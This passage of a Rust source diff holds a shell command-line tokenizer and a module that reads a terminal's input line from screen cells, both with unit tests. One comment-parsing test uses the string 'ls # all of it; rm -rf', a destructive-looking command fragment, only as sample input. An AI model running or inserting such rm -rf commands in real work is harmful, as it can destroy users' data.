k += 1;
|
||||
}
|
||||
return k - i;
|
||||
}
|
||||
if k < n && b[k] == b'|' && b[i] == b'>' {
|
||||
return 2;
|
||||
}
|
||||
if k < n && b[k] == b'&' {
|
||||
// >& >&2 <&-
|
||||
k += 1;
|
||||
if k < n && b[k] == b'-' {
|
||||
k += 1;
|
||||
} else {
|
||||
while k < n && b[k].is_ascii_digit() {
|
||||
k += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
k - i
|
||||
}
|
||||
|
||||
/// Does this redirection name its own target (`2>&1`, `<&-`)?
|
||||
fn redirect_is_whole(op: &str) -> bool {
|
||||
match op.find('&') {
|
||||
Some(amp) => amp + 1 < op.len() && !op.starts_with('&'),
|
||||
None => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Where the word that starts at `i` ends.
|
||||
fn word_end(b: &[u8], i: usize) -> usize {
|
||||
let n = b.len();
|
||||
let mut j = i;
|
||||
while j < n {
|
||||
match b[j] {
|
||||
b' ' | b'\t' | b';' | b'|' | b'&' | b'(' | b')' | b'<' | b'>' | b'`' => break,
|
||||
b'\\' => j += 2,
|
||||
b'\'' => j = skip_single(b, j),
|
||||
b'"' => j = skip_escaped(b, j, b'"'),
|
||||
b'$' if j + 1 < n && b[j + 1] == b'\'' => j = skip_escaped(b, j + 1, b'\''),
|
||||
b'$' if j + 1 < n && b[j + 1] == b'(' => break,
|
||||
b'$' => j += variable_len(b, j),
|
||||
_ => j += 1,
|
||||
}
|
||||
}
|
||||
j.min(n)
|
||||
}
|
||||
|
||||
/// The length of `NAME=` or `NAME+=` at the start of a word, when the word is
|
||||
/// an assignment.
|
||||
fn assignment_len(raw: &str) -> Option<usize> {
|
||||
let b = raw.as_bytes();
|
||||
if b.is_empty() || !is_name_start(b[0]) {
|
||||
return None;
|
||||
}
|
||||
let mut k = 1;
|
||||
while k < b.len() && is_name_char(b[k]) {
|
||||
k += 1;
|
||||
}
|
||||
if k < b.len() && b[k] == b'+' {
|
||||
k += 1;
|
||||
}
|
||||
if k < b.len() && b[k] == b'=' {
|
||||
Some(k + 1)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// What a word says with its quotes taken off; `None` when it holds something
|
||||
/// only the shell can resolve (a variable, a substitution, a pattern).
|
||||
pub fn plain_value(raw: &str) -> Option<String> {
|
||||
let mut out = String::new();
|
||||
let mut chars = raw.chars();
|
||||
while let Some(c) = chars.next() {
|
||||
match c {
|
||||
'$' | '`' | '*' | '?' | '[' | '{' => return None,
|
||||
'\\' => match chars.next() {
|
||||
Some(next) => out.push(next),
|
||||
None => out.push('\\'),
|
||||
},
|
||||
'\'' => {
|
||||
for q in chars.by_ref() {
|
||||
if q == '\'' {
|
||||
break;
|
||||
}
|
||||
out.push(q);
|
||||
}
|
||||
}
|
||||
'"' => {
|
||||
while let Some(q) = chars.next() {
|
||||
match q {
|
||||
'"' => break,
|
||||
'$' | '`' => return None,
|
||||
'\\' => {
|
||||
if let Some(next) = chars.next() {
|
||||
out.push(next);
|
||||
}
|
||||
}
|
||||
q => out.push(q),
|
||||
}
|
||||
}
|
||||
}
|
||||
c => out.push(c),
|
||||
}
|
||||
}
|
||||
Some(out)
|
||||
}
|
||||
|
||||
fn push(tokens: &mut Vec<Token>, start: usize, end: usize, kind: Kind) {
|
||||
if end > start {
|
||||
tokens.push(Token { start, end, kind });
|
||||
}
|
||||
}
|
||||
|
||||
/// The parts of a double-quoted string from its opening quote at `start` to
|
||||
/// `end`: the string, with the variables in it picked out.
|
||||
fn push_double(tokens: &mut Vec<Token>, b: &[u8], start: usize, end: usize) {
|
||||
let mut seg = start;
|
||||
let mut m = start + 1;
|
||||
while m < end {
|
||||
if b[m] == b'\\' {
|
||||
m += 2;
|
||||
continue;
|
||||
}
|
||||
if b[m] == b'$' {
|
||||
let len = variable_len(b, m).min(end - m);
|
||||
if len > 1 {
|
||||
push(tokens, seg, m, Kind::String);
|
||||
push(tokens, m, m + len, Kind::Variable);
|
||||
m += len;
|
||||
seg = m;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
m += 1;
|
||||
}
|
||||
push(tokens, seg, end, Kind::String);
|
||||
}
|
||||
|
||||
/// The parts of the word `[start, end)`, its plain text of kind `plain`.
|
||||
fn push_word(tokens: &mut Vec<Token>, b: &[u8], start: usize, end: usize, plain: Kind) {
|
||||
let mut seg = start;
|
||||
let mut k = start;
|
||||
while k < end {
|
||||
match b[k] {
|
||||
b'\\' => k = (k + 2).min(end),
|
||||
b'\'' => {
|
||||
let q = skip_single(b, k).min(end);
|
||||
push(tokens, seg, k, plain);
|
||||
push(tokens, k, q, Kind::String);
|
||||
k = q;
|
||||
seg = k;
|
||||
}
|
||||
b'"' => {
|
||||
let q = skip_escaped(b, k, b'"').min(end);
|
||||
push(tokens, seg, k, plain);
|
||||
push_double(tokens, b, k, q);
|
||||
k = q;
|
||||
seg = k;
|
||||
}
|
||||
b'$' if k + 1 < end && b[k + 1] == b'\'' => {
|
||||
let q = skip_escaped(b, k + 1, b'\'').min(end);
|
||||
push(tokens, seg, k, plain);
|
||||
push(tokens, k, q, Kind::String);
|
||||
k = q;
|
||||
seg = k;
|
||||
}
|
||||
b'$' => {
|
||||
let len = variable_len(b, k).min(end - k);
|
||||
if len > 1 {
|
||||
push(tokens, seg, k, plain);
|
||||
push(tokens, k, k + len, Kind::Variable);
|
||||
k += len;
|
||||
seg = k;
|
||||
} else {
|
||||
k += 1;
|
||||
}
|
||||
}
|
||||
_ => k += 1,
|
||||
}
|
||||
}
|
||||
push(tokens, seg, end, plain);
|
||||
}
|
||||
|
||||
/// Read a command line.
|
||||
pub fn parse(line: &str) -> Parsed {
|
||||
let b = line.as_bytes();
|
||||
let n = b.len();
|
||||
let mut parsed = Parsed::default();
|
||||
let mut command_next = true;
|
||||
let mut target_next = false;
|
||||
let mut i = 0;
|
||||
while i < n {
|
||||
let c = b[i];
|
||||
if c == b' ' || c == b'\t' {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
if c == b'#' {
|
||||
push(&mut parsed.tokens, i, n, Kind::Comment);
|
||||
break;
|
||||
}
|
||||
if let Some(len) = operator_len(b, i) {
|
||||
let end = (i + len).min(n);
|
||||
push(&mut parsed.tokens, i, end, Kind::Operator);
|
||||
let op = &line[i..end];
|
||||
if op.contains('<') || op.contains('>') {
|
||||
target_next = !redirect_is_whole(op);
|
||||
} else {
|
||||
target_next = false;
|
||||
command_next = op != ")";
|
||||
}
|
||||
i = end;
|
||||
continue;
|
||||
}
|
||||
|
||||
let end = word_end(b, i).max(i + 1).min(n);
|
||||
let raw = &line[i..end];
|
||||
if raw == "{" || raw == "}" {
|
||||
push(&mut parsed.tokens, i, end, Kind::Operator);
|
||||
command_next = raw == "{";
|
||||
i = end;
|
||||
continue;
|
||||
}
|
||||
|
||||
if target_next {
|
||||
target_next = false;
|
||||
push_word(&mut parsed.tokens, b, i, end, Kind::Word);
|
||||
parsed.words.push(Word {
|
||||
start: i,
|
||||
end,
|
||||
role: Role::Target,
|
||||
value: plain_value(raw),
|
||||
});
|
||||
} else if command_next {
|
||||
if let Some(len) = assignment_len(raw) {
|
||||
push(&mut parsed.tokens, i, i + len, Kind::Variable);
|
||||
push_word(&mut parsed.tokens, b, i + len, end, Kind::Word);
|
||||
parsed.words.push(Word {
|
||||
start: i,
|
||||
end,
|
||||
role: Role::Assignment,
|
||||
value: None,
|
||||
});
|
||||
} else if raw.len() > 1 && raw.starts_with('-') {
|
||||
// an option of the word before (sudo -E make): a command still follows
|
||||
push_word(&mut parsed.tokens, b, i, end, Kind::Option);
|
||||
parsed.words.push(Word {
|
||||
start: i,
|
||||
end,
|
||||
role: Role::Option,
|
||||
value: None,
|
||||
});
|
||||
} else {
|
||||
push_word(&mut parsed.tokens, b, i, end, Kind::Command);
|
||||
let value = plain_value(raw);
|
||||
command_next = match &value {
|
||||
Some(v) => BEFORE_A_COMMAND.contains(&v.as_str()),
|
||||
None => false,
|
||||
};
|
||||
parsed.words.push(Word {
|
||||
start: i,
|
||||
end,
|
||||
role: Role::Command,
|
||||
value,
|
||||
});
|
||||
}
|
||||
} else if raw.len() > 1 && raw.starts_with('-') {
|
||||
push_word(&mut parsed.tokens, b, i, end, Kind::Option);
|
||||
parsed.words.push(Word {
|
||||
start: i,
|
||||
end,
|
||||
role: Role::Option,
|
||||
value: None,
|
||||
});
|
||||
} else {
|
||||
push_word(&mut parsed.tokens, b, i, end, Kind::Word);
|
||||
parsed.words.push(Word {
|
||||
start: i,
|
||||
end,
|
||||
role: Role::Argument,
|
||||
value: plain_value(raw),
|
||||
});
|
||||
}
|
||||
i = end;
|
||||
}
|
||||
parsed
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::Kind::*;
|
||||
use super::*;
|
||||
|
||||
/// The parts of a line as (text, kind).
|
||||
fn parts(line: &str) -> Vec<(&str, Kind)> {
|
||||
parse(line)
|
||||
.tokens
|
||||
.iter()
|
||||
.map(|t| (&line[t.start..t.end], t.kind))
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// The words of a line as (text, role).
|
||||
fn roles(line: &str) -> Vec<(&str, Role)> {
|
||||
parse(line)
|
||||
.words
|
||||
.iter()
|
||||
.map(|w| (&line[w.start..w.end], w.role))
|
||||
.collect()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_command_its_options_and_arguments() {
|
||||
assert_eq!(
|
||||
parts("git commit -m 'a message' --amend file.txt"),
|
||||
vec![
|
||||
("git", Command),
|
||||
("commit", Word),
|
||||
("-m", Option),
|
||||
("'a message'", String),
|
||||
("--amend", Option),
|
||||
("file.txt", Word),
|
||||
]
|
||||
);
|
||||
assert_eq!(parts(""), vec![]);
|
||||
assert_eq!(parts(" "), vec![]);
|
||||
assert_eq!(
|
||||
parts("ls -"),
|
||||
vec![("ls", Command), ("-", Word)],
|
||||
"a lone dash is a file"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn commands_after_the_signs_between_them() {
|
||||
assert_eq!(
|
||||
parts("make && make test || echo no; ls | wc -l &"),
|
||||
vec![
|
||||
("make", Command),
|
||||
("&&", Operator),
|
||||
("make", Command),
|
||||
("test", Word),
|
||||
("||", Operator),
|
||||
("echo", Command),
|
||||
("no", Word),
|
||||
(";", Operator),
|
||||
("ls", Command),
|
||||
("|", Operator),
|
||||
("wc", Command),
|
||||
("-l", Option),
|
||||
("&", Operator),
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("(cd /tmp && ls)"),
|
||||
vec![
|
||||
("(", Operator),
|
||||
("cd", Command),
|
||||
("/tmp", Word),
|
||||
("&&", Operator),
|
||||
("ls", Command),
|
||||
(")", Operator),
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("{ a; }"),
|
||||
vec![
|
||||
("{", Operator),
|
||||
("a", Command),
|
||||
(";", Operator),
|
||||
("}", Operator)
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn words_before_a_command() {
|
||||
assert_eq!(
|
||||
roles("sudo -E make install"),
|
||||
vec![
|
||||
("sudo", Role::Command),
|
||||
("-E", Role::Option),
|
||||
("make", Role::Command),
|
||||
("install", Role::Argument),
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("if true; then echo yes; fi"),
|
||||
vec![
|
||||
("if", Command),
|
||||
("true", Command),
|
||||
(";", Operator),
|
||||
("then", Command),
|
||||
("echo", Command),
|
||||
("yes", Word),
|
||||
(";", Operator),
|
||||
("fi", Command),
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("LANG=C LC_ALL=\"C\" sort x"),
|
||||
vec![
|
||||
("LANG=", Variable),
|
||||
("C", Word),
|
||||
("LC_ALL=", Variable),
|
||||
("\"C\"", String),
|
||||
("sort", Command),
|
||||
("x", Word),
|
||||
]
|
||||
);
|
||||
assert_eq!(roles("A=1")[0].1, Role::Assignment);
|
||||
assert_eq!(
|
||||
roles("ls A=1")[1].1,
|
||||
Role::Argument,
|
||||
"only before a command"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn strings_and_variables() {
|
||||
assert_eq!(
|
||||
parts("echo \"home is $HOME and ${USER}!\" $? $'a\\'b' pre$X.txt"),
|
||||
vec![
|
||||
("echo", Command),
|
||||
("\"home is ", String),
|
||||
("$HOME", Variable),
|
||||
(" and ", String),
|
||||
("${USER}", Variable),
|
||||
("!\"", String),
|
||||
("$?", Variable),
|
||||
("$'a\\'b'", String),
|
||||
("pre", Word),
|
||||
("$X", Variable),
|
||||
(".txt", Word),
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("echo 'never closed"),
|
||||
vec![("echo", Command), ("'never closed", String)],
|
||||
"a string still being typed"
|
||||
);
|
||||
assert_eq!(
|
||||
parts("echo \"a \\\" b\" c"),
|
||||
vec![("echo", Command), ("\"a \\\" b\"", String), ("c", Word)]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("echo a\\ b"),
|
||||
vec![("echo", Command), ("a\\ b", Word)]
|
||||
);
|
||||
assert_eq!(parts("echo $"), vec![("echo", Command), ("$", Word)]);
|
||||
assert_eq!(
|
||||
parts("echo ${never"),
|
||||
vec![("echo", Command), ("${never", Variable)]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn substitutions() {
|
||||
assert_eq!(
|
||||
parts("echo $(date +%s) `id -u`"),
|
||||
vec![
|
||||
("echo", Command),
|
||||
("$(", Operator),
|
||||
("date", Command),
|
||||
("+%s", Word),
|
||||
(")", Operator),
|
||||
("`", Operator),
|
||||
("id", Command),
|
||||
("-u", Option),
|
||||
("`", Operator),
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn redirections() {
|
||||
assert_eq!(
|
||||
parts("make > out.log 2>&1 < in >> more 2> err &> all"),
|
||||
vec![
|
||||
("make", Command),
|
||||
(">", Operator),
|
||||
("out.log", Word),
|
||||
("2>&1", Operator),
|
||||
("<", Operator),
|
||||
("in", Word),
|
||||
(">>", Operator),
|
||||
("more", Word),
|
||||
("2>", Operator),
|
||||
("err", Word),
|
||||
("&>", Operator),
|
||||
("all", Word),
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
roles("cat < in > out"),
|
||||
vec![
|
||||
("cat", Role::Command),
|
||||
("in", Role::Target),
|
||||
("out", Role::Target)
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
roles("> out echo hi"),
|
||||
vec![
|
||||
("out", Role::Target),
|
||||
("echo", Role::Command),
|
||||
("hi", Role::Argument)
|
||||
],
|
||||
"a redirection first: the command still follows"
|
||||
);
|
||||
assert_eq!(
|
||||
parts("cat <<< text"),
|
||||
vec![("cat", Command), ("<<<", Operator), ("text", Word)]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("echo 2 3"),
|
||||
vec![("echo", Command), ("2", Word), ("3", Word)],
|
||||
"a number is a file descriptor only before a redirection"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn comments() {
|
||||
assert_eq!(
|
||||
parts("ls # all of it; rm -rf"),
|
||||
vec![("ls", Command), ("# all of it; rm -rf", Comment)]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("# only a comment"),
|
||||
vec![("# only a comment", Comment)]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("echo a#b"),
|
||||
vec![("echo", Command), ("a#b", Word)],
|
||||
"inside a word it is no comment"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn values() {
|
||||
assert_eq!(plain_value("git"), Some("git".to_string()));
|
||||
assert_eq!(
|
||||
plain_value("'my file'.txt"),
|
||||
Some("my file.txt".to_string())
|
||||
);
|
||||
assert_eq!(plain_value("\"a b\"/c\\ d"), Some("a b/c d".to_string()));
|
||||
assert_eq!(plain_value("$HOME/bin"), None);
|
||||
assert_eq!(plain_value("\"$HOME\""), None);
|
||||
assert_eq!(plain_value("*.txt"), None);
|
||||
assert_eq!(plain_value("file{1,2}"), None);
|
||||
let p = parse("'/usr/bin/my prog' x");
|
||||
assert_eq!(p.words[0].role, Role::Command);
|
||||
assert_eq!(p.words[0].value, Some("/usr/bin/my prog".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn builtins() {
|
||||
assert!(is_builtin("cd"));
|
||||
assert!(is_builtin("[["));
|
||||
assert!(is_builtin("fi"));
|
||||
assert!(!is_builtin("git"));
|
||||
assert!(!is_builtin(""));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn text_that_is_not_ascii() {
|
||||
assert_eq!(
|
||||
parts("echo \u{17e}lu\u{165}ou\u{10d}k\u{fd} '\u{4e2d}\u{6587}' # \u{e1}no"),
|
||||
vec![
|
||||
("echo", Command),
|
||||
("\u{17e}lu\u{165}ou\u{10d}k\u{fd}", Word),
|
||||
("'\u{4e2d}\u{6587}'", String),
|
||||
("# \u{e1}no", Comment),
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nothing_overlaps_and_nothing_is_out_of_the_line() {
|
||||
for line in [
|
||||
"a\\",
|
||||
"\"",
|
||||
"'",
|
||||
"$",
|
||||
"${",
|
||||
"$'",
|
||||
"2>",
|
||||
">&",
|
||||
"&>>",
|
||||
"a=\"",
|
||||
"x $(",
|
||||
"\\",
|
||||
"echo \"$",
|
||||
"echo \"\\",
|
||||
"<<<",
|
||||
"1",
|
||||
"12>",
|
||||
] {
|
||||
let p = parse(line);
|
||||
let mut at = 0;
|
||||
for t in &p.tokens {
|
||||
assert!(t.start >= at, "{:?} overlaps in {:?}", t, line);
|
||||
assert!(t.end > t.start, "{:?} is empty in {:?}", t, line);
|
||||
assert!(t.end <= line.len(), "{:?} is out of {:?}", t, line);
|
||||
assert!(line.is_char_boundary(t.start) && line.is_char_boundary(t.end));
|
||||
at = t.end;
|
||||
}
|
||||
for w in &p.words {
|
||||
assert!(w.start < w.end && w.end <= line.len());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,366 @@
|
||||
//! The shell's input line, read from the screen.
|
||||
//!
|
||||
//! The terminal does not follow what is typed: a shell edits its line in ways
|
||||
//! key presses do not show (history, completion, a widget). What the line
|
||||
//! holds is read back from the cells the shell drew. A shell with the shell
|
||||
//! integration marks them: cells written after the end of its prompt (OSC 133
|
||||
//! B) are *input* until the command starts.
|
||||
//!
|
||||
//! The terminal's part turns the rows near the cursor into [`Cell`]s; this
|
||||
//! module finds the input line among them.
|
||||
|
||||
/// One cell of a row as the terminal has it.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct Cell {
|
||||
/// Its first column.
|
||||
pub col: usize,
|
||||
/// The columns it takes (1, or 2 for a wide character).
|
||||
pub width: usize,
|
||||
/// What it shows.
|
||||
pub text: String,
|
||||
/// Marked as input by the shell integration.
|
||||
pub input: bool,
|
||||
}
|
||||
|
||||
/// The cells of a row that hold something, by column.
|
||||
pub type Row = Vec<Cell>;
|
||||
|
||||
/// Where a part of the input line's text is on the screen.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct Piece {
|
||||
/// Index of its row among the rows given.
|
||||
pub row: usize,
|
||||
pub col: usize,
|
||||
pub width: usize,
|
||||
/// Its bytes in [`Zone::text`].
|
||||
pub start: usize,
|
||||
pub end: usize,
|
||||
}
|
||||
|
||||
/// The input line.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct Zone {
|
||||
/// Everything on the line.
|
||||
pub text: String,
|
||||
/// The byte in `text` the cursor stands before.
|
||||
pub cursor: usize,
|
||||
/// Where each cell's text is.
|
||||
pub pieces: Vec<Piece>,
|
||||
}
|
||||
|
||||
impl Zone {
|
||||
/// What is typed up to the cursor.
|
||||
pub fn typed(&self) -> &str {
|
||||
&self.text[..self.cursor]
|
||||
}
|
||||
|
||||
/// What the line holds after the cursor.
|
||||
pub fn after(&self) -> &str {
|
||||
&self.text[self.cursor..]
|
||||
}
|
||||
|
||||
/// Is the cursor at the end of what is typed? (Cells a shell blanked when
|
||||
/// something was deleted do not count.)
|
||||
pub fn at_end(&self) -> bool {
|
||||
self.after().trim().is_empty()
|
||||
}
|
||||
}
|
||||
|
||||
/// The run of input cells of a row that touches column `at`: the indices
|
||||
/// `[from, to)` into the row. A cell touches when it ends at `at` (the cursor
|
||||
/// is right after it) or starts at it.
|
||||
fn run_touching(row: &[Cell], at: usize) -> Option<(usize, usize)> {
|
||||
let mut k = None;
|
||||
for (i, cell) in row.iter().enumerate() {
|
||||
if !cell.input {
|
||||
continue;
|
||||
}
|
||||
let end = cell.col + cell.width.max(1);
|
||||
if at > 0 && cell.col < at && at <= end {
|
||||
// the cell just before the cursor wins over the one under it
|
||||
k = Some(i);
|
||||
break;
|
||||
}
|
||||
if cell.col == at && k.is_none() {
|
||||
k = Some(i);
|
||||
}
|
||||
}
|
||||
let k = k?;
|
||||
Some(extend_run(row, k))
|
||||
}
|
||||
|
||||
/// Grow a run from the cell of index `k` to every input cell that follows on
|
||||
/// without a gap, both ways.
|
||||
fn extend_run(row: &[Cell], k: usize) -> (usize, usize) {
|
||||
let mut from = k;
|
||||
while from > 0 {
|
||||
let prev = &row[from - 1];
|
||||
if prev.input && prev.col + prev.width.max(1) == row[from].col {
|
||||
from -= 1;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
let mut to = k + 1;
|
||||
while to < row.len() {
|
||||
let prev = &row[to - 1];
|
||||
if row[to].input && prev.col + prev.width.max(1) == row[to].col {
|
||||
to += 1;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
(from, to)
|
||||
}
|
||||
|
||||
/// Find the input line the cursor is on.
|
||||
///
|
||||
/// - `rows`: some rows of the screen, top to bottom, among them the cursor's;
|
||||
/// - `cursor_row`: the index of the cursor's row in `rows`, `cursor_col` its column;
|
||||
/// - `cols`: the width of the pane (a line that reaches it carries on in the next row);
|
||||
/// - `max_rows`: a line of more rows than this is not taken.
|
||||
///
|
||||
/// `None` when the cursor is not on an input line: no shell integration, a
|
||||
/// program other than the shell has the pane, or the line is too long.
|
||||
pub fn input_zone(
|
||||
rows: &[Row],
|
||||
cursor_row: usize,
|
||||
cursor_col: usize,
|
||||
cols: usize,
|
||||
max_rows: usize,
|
||||
) -> Option<Zone> {
|
||||
let row = rows.get(cursor_row)?;
|
||||
let (from, to) = run_touching(row, cursor_col)?;
|
||||
|
||||
// (row index, from, to), top to bottom
|
||||
let mut runs: Vec<(usize, usize, usize)> = vec![(cursor_row, from, to)];
|
||||
|
||||
// A run that starts in the first column carries on from the row above,
|
||||
// when that row's input reaches the last column.
|
||||
let mut r = cursor_row;
|
||||
let mut first_from = from;
|
||||
while r > 0 && rows[r][first_from].col == 0 {
|
||||
let above = &rows[r - 1];
|
||||
let last = match above.last() {
|
||||
Some(last) => last,
|
||||
None => break,
|
||||
};
|
||||
if !last.input || last.col + last.width.max(1) < cols {
|
||||
break;
|
||||
}
|
||||
let (f, t) = extend_run(above, above.len() - 1);
|
||||
runs.insert(0, (r - 1, f, t));
|
||||
if runs.len() > max_rows {
|
||||
return None;
|
||||
}
|
||||
r -= 1;
|
||||
first_from = f;
|
||||
}
|
||||
|
||||
// And one that reaches the last column carries on in the row below.
|
||||
let mut r = cursor_row;
|
||||
let mut last_to = to;
|
||||
while r + 1 < rows.len() {
|
||||
let last = &rows[r][last_to - 1];
|
||||
if last.col + last.width.max(1) < cols {
|
||||
break;
|
||||
}
|
||||
let below = &rows[r + 1];
|
||||
match below.first() {
|
||||
Some(first) if first.input && first.col == 0 => {}
|
||||
_ => break,
|
||||
}
|
||||
let (f, t) = extend_run(below, 0);
|
||||
runs.push((r + 1, f, t));
|
||||
if runs.len() > max_rows {
|
||||
return None;
|
||||
}
|
||||
r += 1;
|
||||
last_to = t;
|
||||
}
|
||||
|
||||
let mut text = String::new();
|
||||
let mut pieces = Vec::new();
|
||||
let mut cursor = None;
|
||||
for (r, f, t) in runs {
|
||||
for cell in &rows[r][f..t] {
|
||||
if cursor.is_none() && (r > cursor_row || (r == cursor_row && cell.col >= cursor_col)) {
|
||||
cursor = Some(text.len());
|
||||
}
|
||||
let start = text.len();
|
||||
text.push_str(&cell.text);
|
||||
pieces.push(Piece {
|
||||
row: r,
|
||||
col: cell.col,
|
||||
width: cell.width.max(1),
|
||||
start,
|
||||
end: text.len(),
|
||||
});
|
||||
}
|
||||
}
|
||||
let cursor = cursor.unwrap_or(text.len());
|
||||
Some(Zone {
|
||||
text,
|
||||
cursor,
|
||||
pieces,
|
||||
})
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
/// A row from a picture of it: `p` marks a prompt cell, `i` an input cell,
|
||||
/// `.` a cell nothing was written to. `text` gives the characters.
|
||||
fn row(text: &str, marks: &str) -> Row {
|
||||
let mut cells = Vec::new();
|
||||
for (col, (c, m)) in text.chars().zip(marks.chars()).enumerate() {
|
||||
if m == '.' {
|
||||
continue;
|
||||
}
|
||||
cells.push(Cell {
|
||||
col,
|
||||
width: 1,
|
||||
text: c.to_string(),
|
||||
input: m == 'i',
|
||||
});
|
||||
}
|
||||
cells
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_line_after_the_prompt() {
|
||||
let rows = vec![row("$ git st", "ppiiiiii")];
|
||||
let z = input_zone(&rows, 0, 8, 80, 3).unwrap();
|
||||
assert_eq!(z.text, "git st");
|
||||
assert_eq!(z.typed(), "git st");
|
||||
assert_eq!(z.after(), "");
|
||||
assert!(z.at_end());
|
||||
assert_eq!(z.pieces.len(), 6);
|
||||
assert_eq!(z.pieces[0].col, 2);
|
||||
assert_eq!((z.pieces[5].start, z.pieces[5].end), (5, 6));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_cursor_inside_the_line() {
|
||||
let rows = vec![row("$ git st", "ppiiiiii")];
|
||||
let z = input_zone(&rows, 0, 5, 80, 3).unwrap();
|
||||
assert_eq!(z.typed(), "git");
|
||||
assert_eq!(z.after(), " st");
|
||||
assert!(!z.at_end());
|
||||
let z = input_zone(&rows, 0, 2, 80, 3).unwrap();
|
||||
assert_eq!(z.typed(), "", "at the start of the line");
|
||||
assert_eq!(z.after(), "git st");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cells_blanked_by_a_deletion_are_not_typed() {
|
||||
// "git status" typed, then the last four characters deleted
|
||||
let rows = vec![row("$ git st ", "ppiiiiiiiiii")];
|
||||
let z = input_zone(&rows, 0, 8, 80, 3).unwrap();
|
||||
assert_eq!(z.typed(), "git st");
|
||||
assert!(z.at_end());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_typed_space_at_the_end_is_typed() {
|
||||
let rows = vec![row("$ git ", "ppiiii")];
|
||||
let z = input_zone(&rows, 0, 6, 80, 3).unwrap();
|
||||
assert_eq!(z.typed(), "git ");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_input_cells_no_line() {
|
||||
// a fresh prompt, a program's own prompt, a shell without the integration
|
||||
assert_eq!(input_zone(&[row("$ ", "pp")], 0, 2, 80, 3), None);
|
||||
assert_eq!(
|
||||
input_zone(&[row(">>> x = 1", "ppppppppp")], 0, 9, 80, 3),
|
||||
None
|
||||
);
|
||||
assert_eq!(input_zone(&[row("", "")], 0, 0, 80, 3), None);
|
||||
assert_eq!(input_zone(&[], 0, 0, 80, 3), None);
|
||||
assert_eq!(input_zone(&[row("$ ls", "ppii")], 3, 4, 80, 3), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_command_above_is_another_line() {
|
||||
// `cd x` ran and printed nothing; a new prompt, "ls" typed
|
||||
let rows = vec![row("$ cd x", "ppiiii"), row("$ ls", "ppii")];
|
||||
let z = input_zone(&rows, 1, 4, 80, 3).unwrap();
|
||||
assert_eq!(z.text, "ls");
|
||||
// and the cursor on a row below a command that ran is on no line
|
||||
let rows = vec![row("$ cd x", "ppiiii"), row("", "")];
|
||||
assert_eq!(input_zone(&rows, 1, 0, 80, 3), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn something_drawn_further_right_is_not_the_line() {
|
||||
// a prompt part at the right edge, drawn by the shell after the line's start
|
||||
let rows = vec![row("$ ls 12:00", "ppii........iiiii")];
|
||||
let z = input_zone(&rows, 0, 4, 80, 3).unwrap();
|
||||
assert_eq!(z.text, "ls");
|
||||
assert!(z.at_end());
|
||||
// the cursor two columns past the end is not on the line
|
||||
assert_eq!(input_zone(&rows, 0, 6, 80, 3), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_line_that_wraps() {
|
||||
let rows = vec![
|
||||
row("$ abcdef", "ppiiiiii"),
|
||||
row("ghijklmn", "iiiiiiii"),
|
||||
row("op", "ii"),
|
||||
];
|
||||
let z = input_zone(&rows, 2, 2, 8, 3).unwrap();
|
||||
assert_eq!(z.text, "abcdefghijklmnop");
|
||||
assert!(z.at_end());
|
||||
assert_eq!(z.pieces[6].row, 1);
|
||||
assert_eq!(z.pieces[6].col, 0);
|
||||
// the cursor in the first row: the rows below belong to the line
|
||||
let z = input_zone(&rows, 0, 4, 8, 3).unwrap();
|
||||
assert_eq!(z.typed(), "ab");
|
||||
assert_eq!(z.after(), "cdefghijklmnop");
|
||||
// too many rows: not taken
|
||||
assert_eq!(input_zone(&rows, 2, 2, 8, 2), None);
|
||||
assert_eq!(input_zone(&rows, 0, 4, 8, 2), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_row_above_that_does_not_reach_the_edge_is_not_joined() {
|
||||
let rows = vec![row("$ abc", "ppiii"), row("def", "iii")];
|
||||
